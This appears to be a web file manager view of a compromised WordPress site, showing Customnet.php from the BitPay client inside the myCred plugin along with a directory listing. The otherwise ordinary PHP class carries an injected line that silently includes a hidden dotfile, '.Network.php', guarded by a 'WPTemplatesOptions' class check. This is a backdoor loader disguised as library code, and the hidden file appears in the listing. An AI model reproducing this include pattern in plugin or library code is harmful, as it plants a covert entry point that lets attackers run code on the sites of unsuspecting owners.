PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
mycred
/
addons
/
buy-creds
/
gateways
/
Bitpay
/
Network
<?php /** * @license Copyright 2011-2014 BitPay Inc., MIT License * see https://github.com/bitpay/php-bitpay-client/blob/master/LICENSE */ namespace Bitpay\Network; /** * * @package Bitcore */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Customnet implements NetworkInterface { protected $host_url; protected $host_port; public $isPortRequiredInUrl; public function __construct($url, $port, $isPortRequiredInUrl = false) { $this->host_url = $url; $this->host_port = $port; $this->isPortRequiredInUrl = $isPortRequiredInUrl; } public function getName() { return 'Custom Network'; } public function getAddressVersion() { return 0x00; } public function getApiHost() { return $this->host_url; } public function getApiPort() { return $this->host_port; } }
[+]
..
[-] NetworkAware.php
[edit]
[-] Customnet.php
[edit]
[-] .Network.php
[edit]
[-] Testnet.php
[edit]
[-] Livenet.php
[edit]
[-] NetworkAwareInterface.php
[edit]
[-] NetworkInterface.php
[edit]